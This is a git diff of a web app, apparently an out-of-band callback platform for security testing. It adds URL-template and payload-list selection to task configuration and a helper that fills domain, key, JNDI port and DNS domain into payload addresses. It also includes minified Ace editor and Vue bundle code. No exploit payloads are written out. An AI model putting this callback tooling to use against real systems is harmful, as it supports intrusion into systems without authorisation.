n.unshift(s[0]),s},next:"snippetVar"},{regex:/\n/,token:"newline",merge:!1}],snippetVar:[{regex:"\\|"+t("\\|")+"*\\|",onMatch:function(e,t,i){i[0].choices=e.slice(1,-1).split(",")},next:"start"},{regex:"/("+t("/")+"+)/(?:("+t("/")+"*)/)(\\w*):?",onMatch:function(e,t,i){var n=i[0];return n.fmtString=e,e=this.splitRegex.exec(e),n.guard=e[1],n.fmt=e[2],n.flag=e[3],""},next:"start"},{regex:"`"+t("`")+"*`",onMatch:function(e,t,i){return i[0].code=e.splice(1,-1),""},next:"start"},{regex:"\\?",onMatch:function(e,t,i){i[0]&&(i[0].expectIf=!0)},next:"start"},{regex:"([^:}\\\\]|\\\\.)*:?",token:"",next:"start"}],formatString:[{regex:"/("+t("/")+"+)/",token:"regex"},{regex:"",onMatch:function(e,t,i){i.inFormatString=!0},next:"start"}]}),u.prototype.getTokenizer=function(){return u.$tokenizer},u.$tokenizer},this.tokenizeTmSnippet=function(e,t){return this.getTokenizer().getLineTokens(e,t).tokens.map((function(e){return e.value||e}))},this.$getDefaultValue=function(e,t){if(/^[A-Z]\d+$/.test(t)){var i=t.substr(1);return(this.variables[t[0]+"__"]||{})[i]}if(/^\d+$/.test(t))return(this.variables.__||{})[t];if(t=t.replace(/^TM_/,""),e){var n=e.session;switch(t){case"CURRENT_WORD":var s=n.getWordRange();case"SELECTION":case"SELECTED_TEXT":return n.getTextRange(s);case"CURRENT_LINE":return n.getLine(e.getCursorPosition().row);case"PREV_LINE":return n.getLine(e.getCursorPosition().row-1);case"LINE_INDEX":return e.getCursorPosition().column;case"LINE_NUMBER":return e.getCursorPosition().row+1;case"SOFT_TABS":return n.getUseSoftTabs()?"YES":"NO";case"TAB_SIZE":return n.getTabSize();case"FILENAME":case"FILEPATH":return"";case"FULLNAME":return"Ace"}}},this.variables={},this.getVariableValue=function(e,t){return this.variables.hasOwnProperty(t)?this.variables[t](e,t)||"":this.$getDefaultValue(e,t)||""},this.tmStrFormat=function(e,t,i){var n=t.flag||"",s=t.guard;s=new RegExp(s,n.replace(/[^gi]/,""));var o=this.tokenizeTmSnippet(t.fmt,"formatString"),r=this,a=e.replace(s,(function(){r.variables.__=arguments;for(var e=r.resolveVariables(o,i),t="E",n=0;n1?(v=t[t.length-1].length,A+=t.length-1):v+=e.length,C+=e}else e.start?e.end={row:A,column:v}:e.start={row:A,column:v}}));var w=e.getSelectionRange(),F=e.session.replace(w,C),b=new d(e),E=e.inVirtualSelectionMode&&e.selection.index;b.addTabstops(a,w.start,F,E)},this.insertSnippet=function(e,t){var i=this;if(e.inVirtualSelectionMode)return i.insertSnippetForSelection(e,t);e.forEachSelection((function(){i.insertSnippetForSelection(e,t)}),null,{keepOrder:!0}),e.tabstopManager&&e.tabstopManager.tabNext()},this.$getScope=function(e){var t=e.session.$mode.$id||"";if(t=t.split("/").pop(),"html"===t||"php"===t){"php"!==t||e.session.$mode.inlinePhp||(t="html");var i=e.getCursorPosition(),n=e.session.getState(i.row);"object"===typeof n&&(n=n[0]),n.substring&&("js-"==n.substring(0,3)?t="javascript":"css-"==n.substring(0,4)?t="css":"php-"==n.substring(0,4)&&(t="php"))}return t},this.getActiveScopes=function(e){var t=this.$getScope(e),i=[t],n=this.snippetMap;return n[t]&&n[t].includeScopes&&i.push.apply(i,n[t].includeScopes),i.push("_"),i},this.expandWithTab=function(e,t){var i=this,n=e.forEachSelection((function(){return i.expandSnippetForSelection(e,t)}),null,{keepOrder:!0});return n&&e.tabstopManager&&e.tabstopManager.tabNext(),n},this.expandSnippetForSelection=function(e,t){var i,n=e.getCursorPosition(),s=e.session.getLine(n.row),o=s.substring(0,n.column),r=s.substr(n.column),a=this.snippetMap;return this.getActiveScopes(e).some((function(e){var t=a[e];return t&&(i=this.findMatchingSnippet(t,o,r)),!!i}),this),!!i&&(t&&t.dryRun||(e.session.doc.removeInLine(n.row,n.column-i.replaceBefore.length,n.column+i.replaceAfter.length),this.variables.M__=i.matchBefore,this.variables.T__=i.matchAfter,this.insertSnippetForSelection(e,i.content),this.variables.M__=this.variables.T__=null),!0)},this.findMatchingSnippet=function(e,t,i){for(var n=e.length;n--;){var s=e[n];if((!s.startRe||s.startRe.test(t))&&((!s.endRe||s.endRe.test(i))&&(s.startRe||s.endRe)))return s.matchBefore=s.startRe?s.startRe.exec(t):[""],s.matchAfter=s.endRe?s.endRe.exec(i):[""],s.replaceBefore=s.triggerRe?s.triggerRe.exec(t)[0]:"",s.replaceAfter=s.endTriggerRe?s.endTriggerRe.exec(i)[0]:"",s}},this.snippetMap={},this.snippetNameMap={},this.register=function(e,t){var i=this.snippetMap,n=this.snippetNameMap,s=this;function r(e){return e&&!/^\^?\(.*\)\$?$|^\\b$/.test(e)&&(e="(?:"+e+")"),e||""}function a(e,t,i){return e=r(e),t=r(t),i?(e=t+e,e&&"$"!=e[e.length-1]&&(e+="$")):(e+=t,e&&"^"!=e[0]&&(e="^"+e)),new RegExp(e)}function l(e){e.scope||(e.scope=t||"_"),t=e.scope,i[t]||(i[t]=[],n[t]={});var r=n[t];if(e.name){var l=r[e.name];l&&s.unregister(l),r[e.name]=e}i[t].push(e),e.tabTrigger&&!e.trigger&&(!e.guard&&/^\w/.test(e.tabTrigger)&&(e.guard="\\b"),e.trigger=o.escapeRegExp(e.tabTrigger)),(e.trigger||e.guard||e.endTrigger||e.endGuard)&&(e.startRe=a(e.trigger,e.guard,!0),e.triggerRe=new RegExp(e.trigger,"",!0),e.endRe=a(e.endTrigger,e.endGuard,!0),e.endTriggerRe=new RegExp(e.endTrigger,"",!0))}e||(e=[]),e&&e.content?l(e):Array.isArray(e)&&e.forEach(l),this._signal("registerSnippets",{scope:t})},this.unregister=function(e,t){var i=this.snippetMap,n=this.snippetNameMap;function s(e){var s=n[e.scope||t];if(s&&s[e.name]){delete s[e.name];var o=i[e.scope||t],r=o&&o.indexOf(e);r>=0&&o.splice(r,1)}}e.content?s(e):Array.isArray(e)&&e.forEach(s)},this.parseSnippetFile=function(e){e=e.replace(/\r/g,"");var t,i=[],n={},s=/^#.*|^({[\s\S]*})\s*$|^(\S+) (.*)$|^((?:\n*\t.*)+)/gm;while(t=s.exec(e)){if(t[1])try{n=JSON.parse(t[1]),i.push(n)}catch(l){}if(t[4])n.content=t[4].replace(/^\t/gm,""),i.push(n),n={};else{var o=t[2],r=t[3];if("regex"==o){var a=/\/((?:[^\/\\]|\\.)*)|$/g;n.guard=a.exec(r)[1],n.trigger=a.exec(r)[1],n.endTrigger=a.exec(r)[1],n.endGuard=a.exec(r)[1]}else"snippet"==o?(n.tabTrigger=r.match(/^\S*/)[0],n.name||(n.name=r)):n[o]=r}}return i},this.getSnippetByName=function(e,t){var i,n=this.snippetNameMap;return this.getActiveScopes(t).some((function(t){var s=n[t];return s&&(i=s[e]),!!i}),this),i}}).call(u.prototype);var d=function(e){if(e.tabstopManager)return e.tabstopManager;e.tabstopManager=this,this.$onChange=this.onChange.bind(this),this.$onChangeSelection=o.delayedCall(this.onChangeSelection.bind(this)).schedule,this.$onChangeSession=this.onChangeSession.bind(this),this.$onAfterExec=this.onAfterExec.bind(this),this.attach(e)};(function(){this.attach=function(e){this.index=0,this.ranges=[],this.tabstops=[],this.$openTabstops=null,this.selectedTabstop=null,this.editor=e,this.editor.on("change",this.$onChange),this.editor.on("changeSelection",this.$onChangeSelection),this.editor.on("changeSession",this.$onChangeSession),this.editor.commands.on("afterExec",this.$onAfterExec),this.editor.keyBinding.addKeyboardHandler(this.keyboardHandler)},this.detach=function(){this.tabstops.forEach(this.removeTabstopMarkers,this),this.ranges=null,this.tabstops=null,this.selectedTabstop=null,this.editor.removeListener("change",this.$onChange),this.editor.removeListener("changeSelection",this.$onChangeSelection),this.editor.removeListener("changeSession",this.$onChangeSession),this.editor.commands.removeListener("afterExec",this.$onAfterExec),this.editor.keyBinding.removeKeyboardHandler(this.keyboardHandler),this.editor.tabstopManager=null,this.editor=null},this.onChange=function(e){var t="r"==e.action[0],i=e.start,n=e.end,s=i.row,o=n.row,r=o-s,a=n.column-i.column;if(t&&(r=-r,a=-a),!this.$inChange&&t){var l=this.selectedTabstop,c=l&&!l.some((function(e){return h(e.start,i)<=0&&h(e.end,n)>=0}));if(c)return this.detach()}for(var u=this.ranges,d=0;d0?(this.removeRange(g),d--):(g.start.row==s&&g.start.column>i.column&&(g.start.column+=a),g.end.row==s&&g.end.column>=i.column&&(g.end.column+=a),g.start.row>=s&&(g.start.row+=r),g.end.row>=s&&(g.end.row+=r),h(g.start,g.end)>0&&this.removeRange(g)))}u.length||this.detach()},this.updateLinkedFields=function(){var e=this.selectedTabstop;if(e&&e.hasLinkedRanges){this.$inChange=!0;for(var i=this.editor.session,n=i.getTextRange(e.firstNonLinked),s=e.length;s--;){var o=e[s];if(o.linked){var r=t.snippetManager.tmStrFormat(n,o.original);i.replace(o,r)}}this.$inChange=!1}},this.onAfterExec=function(e){e.command&&!e.command.readOnly&&this.updateLinkedFields()},this.onChangeSelection=function(){if(this.editor){for(var e=this.editor.selection.lead,t=this.editor.selection.anchor,i=this.editor.selection.isEmpty(),n=this.ranges.length;n--;)if(!this.ranges[n].linked){var s=this.ranges[n].contains(e.row,e.column),o=i||this.ranges[n].contains(t.row,t.column);if(s&&o)return}this.detach()}},this.onChangeSession=function(){this.detach()},this.tabNext=function(e){var t=this.tabstops.length,i=this.index+(e||1);i=Math.min(Math.max(i,1),t),i==t&&(i=0),this.selectTabstop(i),0===i&&this.detach()},this.selectTabstop=function(e){this.$openTabstops=null;var t=this.tabstops[this.index];if(t&&this.addTabstopMarkers(t),this.index=e,t=this.tabstops[this.index],t&&t.length){if(this.selectedTabstop=t,this.editor.inVirtualSelectionMode)this.editor.selection.setRange(t.firstNonLinked);else{var i=this.editor.multiSelect;i.toSingleRange(t.firstNonLinked.clone());for(var n=t.length;n--;)t.hasLinkedRanges&&t[n].linked||i.addRange(t[n].clone(),!0);i.ranges[0]&&i.addRange(i.ranges[0].clone())}this.editor.keyBinding.addKeyboardHandler(this.keyboardHandler)}},this.addTabstops=function(e,t,i){if(this.$openTabstops||(this.$openTabstops=[]),!e[0]){var n=r.fromPoints(i,i);p(n.start,t),p(n.end,t),e[0]=[n],e[0].index=0}var s=this.index,o=[s+1,0],a=this.ranges;e.forEach((function(e,i){for(var n=this.$openTabstops[i]||e,s=e.length;s--;){var l=e[s],c=r.fromPoints(l.start,l.end||l.start);f(c.start,t),f(c.end,t),c.original=l,c.tabstop=n,a.push(c),n!=e?n.unshift(c):n[s]=c,l.fmtString?(c.linked=!0,n.hasLinkedRanges=!0):n.firstNonLinked||(n.firstNonLinked=c)}n.firstNonLinked||(n.hasLinkedRanges=!1),n===e&&(o.push(n),this.$openTabstops[i]=n),this.addTabstopMarkers(n)}),this),o.length>2&&(this.tabstops.length&&o.push(o.splice(2,1)[0]),this.tabstops.splice.apply(this.tabstops,o))},this.addTabstopMarkers=function(e){var t=this.editor.session;e.forEach((function(e){e.markerId||(e.markerId=t.addMarker(e,"ace_snippet-marker","text"))}))},this.removeTabstopMarkers=function(e){var t=this.editor.session;e.forEach((function(e){t.removeMarker(e.markerId),e.markerId=null}))},this.removeRange=function(e){var t=e.tabstop.indexOf(e);e.tabstop.splice(t,1),t=this.ranges.indexOf(e),this.ranges.splice(t,1),this.editor.session.removeMarker(e.markerId),e.tabstop.length||(t=this.tabstops.indexOf(e.tabstop),-1!=t&&this.tabstops.splice(t,1),this.tabstops.length||this.detach())},this.keyboardHandler=new l,this.keyboardHandler.bindKeys({Tab:function(e){t.snippetManager&&t.snippetManager.expandWithTab(e)||e.tabstopManager.tabNext(1)},"Shift-Tab":function(e){e.tabstopManager.tabNext(-1)},Esc:function(e){e.tabstopManager.detach()},Return:function(e){return!1}})}).call(d.prototype);var g={};g.onChange=a.prototype.onChange,g.setPosition=function(e,t){this.pos.row=e,this.pos.column=t},g.update=function(e,t,i){this.$insertRight=i,this.pos=e,this.onChange(t)};var f=function(e,t){0==e.row&&(e.column+=t.column),e.row+=t.row},p=function(e,t){e.row==t.row&&(e.column-=t.column),e.row-=t.row};e("./lib/dom").importCssString(".ace_snippet-marker { -moz-box-sizing: border-box; box-sizing: border-box; background: rgba(194, 193, 208, 0.09); border: 1px dotted rgba(211, 208, 235, 0.62); position: absolute;}"),t.snippetManager=new u;var m=e("./editor").Editor;(function(){this.insertSnippet=function(e,i){return t.snippetManager.insertSnippet(this,e,i)},this.expandSnippet=function(e){return t.snippetManager.expandWithTab(this,e)}}).call(m.prototype)})),ace.define("ace/ext/emmet",["require","exports","module","ace/keyboard/hash_handler","ace/editor","ace/snippets","ace/range","resources","resources","tabStops","resources","utils","actions","ace/config","ace/config"],(function(e,t,i){"use strict";var n,s,o=e("ace/keyboard/hash_handler").HashHandler,r=e("ace/editor").Editor,a=e("ace/snippets").snippetManager,l=e("ace/range").Range;function c(){}c.prototype={setupContext:function(e){this.ace=e,this.indentation=e.session.getTabString(),n||(n=window.emmet);var t=n.resources||n.require("resources");t.setVariable("indentation",this.indentation),this.$syntax=null,this.$syntax=this.getSyntax()},getSelectionRange:function(){var e=this.ace.getSelectionRange(),t=this.ace.session.doc;return{start:t.positionToIndex(e.start),end:t.positionToIndex(e.end)}},createSelection:function(e,t){var i=this.ace.session.doc;this.ace.selection.setRange({start:i.indexToPosition(e),end:i.indexToPosition(t)})},getCurrentLineRange:function(){var e=this.ace,t=e.getCursorPosition().row,i=e.session.getLine(t).length,n=e.session.doc.positionToIndex({row:t,column:0});return{start:n,end:n+i}},getCaretPos:function(){var e=this.ace.getCursorPosition();return this.ace.session.doc.positionToIndex(e)},setCaretPos:function(e){var t=this.ace.session.doc.indexToPosition(e);this.ace.selection.moveToPosition(t)},getCurrentLine:function(){var e=this.ace.getCursorPosition().row;return this.ace.session.getLine(e)},replaceContent:function(e,t,i,n){null==i&&(i=null==t?this.getContent().length:t),null==t&&(t=0);var s=this.ace,o=s.session.doc,r=l.fromPoints(o.indexToPosition(t),o.indexToPosition(i));s.session.remove(r),r.end=r.start,e=this.$updateTabstops(e),a.insertSnippet(s,e)},getContent:function(){return this.ace.getValue()},getSyntax:function(){if(this.$syntax)return this.$syntax;var e=this.ace.session.$modeId.split("/").pop();if("html"==e||"php"==e){var t=this.ace.getCursorPosition(),i=this.ace.session.getState(t.row);"string"!=typeof i&&(i=i[0]),i&&(i=i.split("-"),i.length>1?e=i[0]:"php"==e&&(e="html"))}return e},getProfileName:function(){var e=n.resources||n.require("resources");switch(this.getSyntax()){case"css":return"css";case"xml":case"xsl":return"xml";case"html":var t=e.getVariable("profile");return t||(t=-1!=this.ace.session.getLines(0,2).join("").search(/]+XHTML/i)?"xhtml":"html"),t;default:var i=this.ace.session.$mode;return i.emmetConfig&&i.emmetConfig.profile||"xhtml"}},prompt:function(e){return prompt(e)},getSelection:function(){return this.ace.session.getTextRange()},getFilePath:function(){return""},$updateTabstops:function(e){var t=1e3,i=0,s=null,o=n.tabStops||n.require("tabStops"),r=n.resources||n.require("resources"),a=r.getVocabulary("user"),l={tabstop:function(e){var n=parseInt(e.group,10),r=0===n;r?n=++i:n+=t;var a=e.placeholder;a&&(a=o.processText(a,l));var c="${"+n+(a?":"+a:"")+"}";return r&&(s=[e.start,c]),c},escape:function(e){return"$"==e?"\\$":"\\"==e?"\\\\":e}};if(e=o.processText(e,l),a.variables["insert_final_tabstop"]&&!/\$\{0\}$/.test(e))e+="${0}";else if(s){var c=n.utils?n.utils.common:n.require("utils");e=c.replaceSubstring(e,"${0}",s[0],s[1])}return e}};var h={expand_abbreviation:{mac:"ctrl+alt+e",win:"alt+e"},match_pair_outward:{mac:"ctrl+d",win:"ctrl+,"},match_pair_inward:{mac:"ctrl+j",win:"ctrl+shift+0"},matching_pair:{mac:"ctrl+alt+j",win:"alt+j"},next_edit_point:"alt+right",prev_edit_point:"alt+left",toggle_comment:{mac:"command+/",win:"ctrl+/"},split_join_tag:{mac:"shift+command+'",win:"shift+ctrl+`"},remove_tag:{mac:"command+'",win:"shift+ctrl+;"},evaluate_math_expression:{mac:"shift+command+y",win:"shift+ctrl+y"},increment_number_by_1:"ctrl+up",decrement_number_by_1:"ctrl+down",increment_number_by_01:"alt+up",decrement_number_by_01:"alt+down",increment_number_by_10:{mac:"alt+command+up",win:"shift+alt+up"},decrement_number_by_10:{mac:"alt+command+down",win:"shift+alt+down"},select_next_item:{mac:"shift+command+.",win:"shift+ctrl+."},select_previous_item:{mac:"shift+command+,",win:"shift+ctrl+,"},reflect_css_value:{mac:"shift+command+r",win:"shift+ctrl+r"},encode_decode_data_url:{mac:"shift+ctrl+d",win:"ctrl+'"},expand_abbreviation_with_tab:"Tab",wrap_with_abbreviation:{mac:"shift+ctrl+a",win:"shift+ctrl+a"}},u=new c;for(var d in t.commands=new o,t.runEmmetCommand=function e(t){try{u.setupContext(t);var i=n.actions||n.require("actions");if("expand_abbreviation_with_tab"==this.action){if(!t.selection.isEmpty())return!1;var s=t.selection.lead,o=t.session.getTokenAt(s.row,s.column);if(o&&/\btag\b/.test(o.type))return!1}if("wrap_with_abbreviation"==this.action)return setTimeout((function(){i.run("wrap_with_abbreviation",u)}),0);var r=i.run(this.action,u)}catch(a){if(!n)return f(e.bind(this,t)),!0;t._signal("changeStatus","string"==typeof a?a:a.message),console.log(a),r=!1}return r},h)t.commands.addCommand({name:"emmet:"+d,action:d,bindKey:h[d],exec:t.runEmmetCommand,multiSelectAction:"forEach"});t.updateCommands=function(e,i){i?e.keyBinding.addKeyboardHandler(t.commands):e.keyBinding.removeKeyboardHandler(t.commands)},t.isSupportedMode=function(e){if(!e)return!1;if(e.emmetConfig)return!0;var t=e.$id||e;return/css|less|scss|sass|stylus|html|php|twig|ejs|handlebars/.test(t)},t.isAvailable=function(e,i){if(/(evaluate_math_expression|expand_abbreviation)$/.test(i))return!0;var n=e.session.$mode,s=t.isSupportedMode(n);if(s&&n.$modes)try{u.setupContext(e),/js|php/.test(u.getSyntax())&&(s=!1)}catch(o){}return s};var g=function(e,i){var n=i;if(n){var s=t.isSupportedMode(n.session.$mode);!1===e.enableEmmet&&(s=!1),s&&f(),t.updateCommands(n,s)}},f=function(t){"string"==typeof s&&e("ace/config").loadModule(s,(function(){s=null,t&&t()}))};t.AceEmmetEditor=c,e("ace/config").defineOptions(r.prototype,"editor",{enableEmmet:{set:function(e){this[e?"on":"removeListener"]("changeMode",g),g({enableEmmet:!!e},this)},value:!0}}),t.setCore=function(e){"string"==typeof e?s=e:n=e}})),function(){ace.acequire(["ace/ext/emmet"],(function(){}))}()},d4ce:function(e,t,i){},f3cd:function(e,t,i){"use strict";i("d4ce")}}]); \ No newline at end of file diff --git a/static/js/chunk-c1263c66.6b88b606.js b/static/js/chunk-c1263c66.6b88b606.js new file mode 100644 index 0000000..9e9c478 --- /dev/null +++ b/static/js/chunk-c1263c66.6b88b606.js @@ -0,0 +1 @@ +(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-c1263c66"],{"2d2c":function(t,e,o){"use strict";var a=function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("a-tooltip",{attrs:{slot:"suffix",title:t.copyTitle},slot:"suffix"},[o("a-icon",{staticClass:"copy",attrs:{type:t.copyIcon},on:{click:function(e){return t.copyEvent(t.text)},mouseleave:t.copyMouseleave}})],1)},s=[],c=o("b893"),n={data(){return{copyIcon:"copy",copyTitle:"复制到剪贴板"}},props:{text:""},methods:{copyEvent(t){let e=this;Object(c["copyText"])(t,(function(){e.copyIcon="check",e.copyTitle="复制成功"}))},copyMouseleave(){"check"===this.copyIcon&&(this.copyIcon="copy")}}},l=n,i=(o("c483"),o("2877")),r=Object(i["a"])(l,a,s,!1,null,"2eccf1f6",null);e["a"]=r.exports},"374d":function(t,e,o){},"3cc2":function(t,e,o){"use strict";o.r(e);var a=function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("div",{staticClass:"platform"},[o("div",{staticClass:"div_card"},[o("div",{staticClass:"title clearfix"},[o("div",{staticClass:"left"},[t._v(" API设置 "),o("a-icon",{staticStyle:{cursor:"pointer"},attrs:{type:"question-circle"},on:{click:t.gotoInfo}})],1)]),o("div",{staticClass:"content"},[o("a-form-model",{attrs:{model:t.form,"label-col":t.labelCol,"wrapper-col":t.wrapperCol}},[o("a-form-model-item",{attrs:{label:"API_Key"}},[o("a-row",{attrs:{gutter:6}},[o("a-col",{attrs:{span:18}},[o("a-input",{attrs:{placeholder:"请输入",readOnly:""},model:{value:t.form.domain,callback:function(e){t.$set(t.form,"domain",e)},expression:"form.domain"}},[o("my-copy",{attrs:{slot:"suffix",text:t.form.domain},slot:"suffix"})],1)],1),o("a-col",{attrs:{span:6}},[o("a-button",{on:{click:t.refresh}},[t._v("重置")])],1)],1)],1)],1)],1)]),o("div",{staticClass:"div_card"},[t._m(0),o("div",{staticClass:"content"},[o("a-form-model",{attrs:{model:t.form1,layout:"vertical"}},[o("a-form-model-item",{attrs:{label:"获取各类消息记录"}},t._l(t.urllist,(function(e,a){return o("a-input-group",{key:a,attrs:{compact:""}},[o("a-button",{attrs:{type:"primary"}},[t._v(t._s(e.method))]),o("a-input",{staticStyle:{width:"60%"},attrs:{placeholder:"请输入"},model:{value:e.url,callback:function(o){t.$set(e,"url",o)},expression:"it.url"}},[o("my-copy",{attrs:{slot:"suffix",text:e.url},slot:"suffix"})],1)],1)})),1)],1)],1)])])},s=[function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("div",{staticClass:"title clearfix"},[o("div",{staticClass:"left"},[t._v("API列表")])])}],c=o("2d2c"),n=o("0995"),l={components:{MyCopy:c["a"]},data(){return{labelCol:{span:4},wrapperCol:{span:10},form:{domain:""},value1:"Zhejiang",value2:"",value3:"",form1:{notice:!0,serve:"",port:"8080",account:"",password:"8080"},urllist:[]}},created(){this.initData()},mounted(){},methods:{gotoInfo(){window.open("https://blog.antenna.cool/docs/api_back")},initData(){n["a"].all([n["a"].getOpenAPI().then(t=>{if(1===t.code){let{data:{results:e}}=t;this.form.domain=e[0].key}else this.$message.error(t.message)}),n["a"].getOpenAPIUrl().then(t=>{if(1===t.code){let{data:{urllist:e}}=t;this.urllist=e}else this.$message.error(t.message)})]).then(t=>{})},refresh(){n["a"].getRefreshOpenAPI().then(t=>{if(1===t.code){let{data:e}=t;this.form.domain=e.key}else this.$message.error(t.message)})}}},i=l,r=(o("aef4"),o("2877")),u=Object(r["a"])(i,a,s,!1,null,"c872cd20",null);e["default"]=u.exports},"4af6":function(t,e,o){},aef4:function(t,e,o){"use strict";o("374d")},b893:function(t,e){function o(t){let e={};for(const o in t)e[o]=t[o].join(",");return e}function a(t,e){var o=document.createElement("input");o.setAttribute("id","cp_hgz_input"),o.value=t,document.getElementsByTagName("body")[0].appendChild(o),document.getElementById("cp_hgz_input").select(),document.execCommand("copy"),document.getElementById("cp_hgz_input").remove(),e&&e(t)}t.exports={handleFilters:o,copyText:a}},c483:function(t,e,o){"use strict";o("4af6")}}]); \ No newline at end of file diff --git a/templates/src/utils/service/service.js b/templates/src/utils/service/service.js index 2a0f5f0..04f6661 100644 --- a/templates/src/utils/service/service.js +++ b/templates/src/utils/service/service.js @@ -146,6 +146,10 @@ export default { initial_template(data) { return axios.get('/api/v1/templates/manage/initial_template/', data) }, + //获取linkList + linkList(data) { + return axios.get('/api/v1/templates/url/', data) + }, //获取dns解析配置 get_dns(data) { return axios.get('/api/v1/configs/dns/', data) diff --git a/templates/src/views/manage/components/TaskCompont.vue b/templates/src/views/manage/components/TaskCompont.vue index 9cabe6b..75a4ab5 100644 --- a/templates/src/views/manage/components/TaskCompont.vue +++ b/templates/src/views/manage/components/TaskCompont.vue @@ -239,6 +239,13 @@ + + + + {{ i.payload }} + + + @@ -266,6 +273,7 @@ export default { wrapperCol: { span: 18 }, wrapperCol1: { span: 3, offset: 21 }, form: { + url_template: undefined, template: undefined, configs: undefined, domains: [ @@ -312,6 +320,7 @@ export default { manageDataChoice: {}, configDataChoice: {}, regionData: [], + linkList: [], onSubmitLoading: false, isSingleConfig: true, task_id: '', @@ -414,6 +423,7 @@ export default { let data = { task: this.task_id, template: this.form.template, + url_template: this.form.url_template, template_config_item_list: [], } if (this.isSingleConfig) { @@ -614,7 +624,18 @@ export default { onCancel() {}, }) }, + getLinkList(template) { + Service.linkList({ template: template }).then((res) => { + this.linkList = res?.data?.results + }) + }, + changeLink(i) { + this.form.url_template = i + }, openAddDomain(item, type) { + if (item?.template) { + this.getLinkList(item.template) + } // console.log(item, '编辑的时候的数据', this.form) Service.getTemplatesManage({ type }).then((res) => { if (res.code === 1) { @@ -648,6 +669,8 @@ export default { }, hanlderEidtData(item) { this.form.template = item.template + this.form.url_template = item.url_template + this.form.task_config_id = item.task_config_id if (item.template_choice_type === 1) { this.isSingleConfig = false @@ -700,6 +723,8 @@ export default { ] this.form.configs = this.form.configs ? '' : this.form.configs this.getConfigSelectData(this.form.template) + this.getLinkList(i) + this.form.url_template = undefined }, getConfigSelectData(data) { Service.getTemplatessConfigs({ template: data }).then((res) => { diff --git a/templates/src/views/manage/components/newComponents/index.vue b/templates/src/views/manage/components/newComponents/index.vue index 7edb745..657c0ed 100644 --- a/templates/src/views/manage/components/newComponents/index.vue +++ b/templates/src/views/manage/components/newComponents/index.vue @@ -34,12 +34,13 @@ /> - @@ -284,7 +285,7 @@ export default { this.form.getFieldDecorator('is_private', { initialValue: this.content.is_private, preserve: true }) this.form.getFieldDecorator('choice_type', { initialValue: this.content.choice_type, preserve: true }) this.form.getFieldDecorator('desc', { initialValue: this.content.desc, preserve: true }) - this.form.getFieldDecorator('payload', { initialValue: this.content.payload, preserve: true }) + this.form.getFieldDecorator('payload_list', { initialValue: this.content.payload_list, preserve: true }) this.form.getFieldDecorator('title', { initialValue: this.content.title, preserve: true }) this.form.getFieldDecorator('name', { initialValue: this.content.name, preserve: true }) this.form.getFieldDecorator('keys', { initialValue: keys, preserve: true }) diff --git a/templates/src/views/open/Interface.vue b/templates/src/views/open/Interface.vue index 408f67d..5670fd2 100644 --- a/templates/src/views/open/Interface.vue +++ b/templates/src/views/open/Interface.vue @@ -2,7 +2,10 @@
-
API设置
+
+ API设置 + +
@@ -118,6 +121,9 @@ export default { }, mounted() {}, methods: { + gotoInfo() { + window.open('https://blog.antenna.cool/docs/api_back') + }, initData() { Service.all([ Service.getOpenAPI().then((res) => { diff --git a/utils/helper.py b/utils/helper.py index 1e620a2..495e29d 100644 --- a/utils/helper.py +++ b/utils/helper.py @@ -109,14 +109,18 @@ def convert(data): return data -def get_payload(key, payload): +def get_payload(task_config, payload): """ - 获取地址 + 转换地址,可选用关键字 + {domain} 平台域名 + {key} 任务key + {jndi_port} jndi端口 + {dns_domain} dns域名 """ - return payload.replace("{domain}", setting.PLATFORM_DOMAIN).replace("{key}", key).replace("{jndi_port}", - str(setting.JNDI_PORT)).replace( - "{dns_domain}", setting.DNS_DOMAIN) + url = payload if not task_config.url_template_id else task_config.url_template.payload + return url.replace("{domain}", setting.PLATFORM_DOMAIN).replace("{key}", task_config.key).replace( + "{jndi_port}", str(setting.JNDI_PORT)).replace("{dns_domain}", setting.DNS_DOMAIN) def send_mail(to, message): @@ -155,6 +159,7 @@ def send_mail(to, message): SENT_TIME_MAP = {} # 记录每个用户上次发送邮件的时间 + def send_email_message(username, ip): """接收到消息发送给对应用户""" try: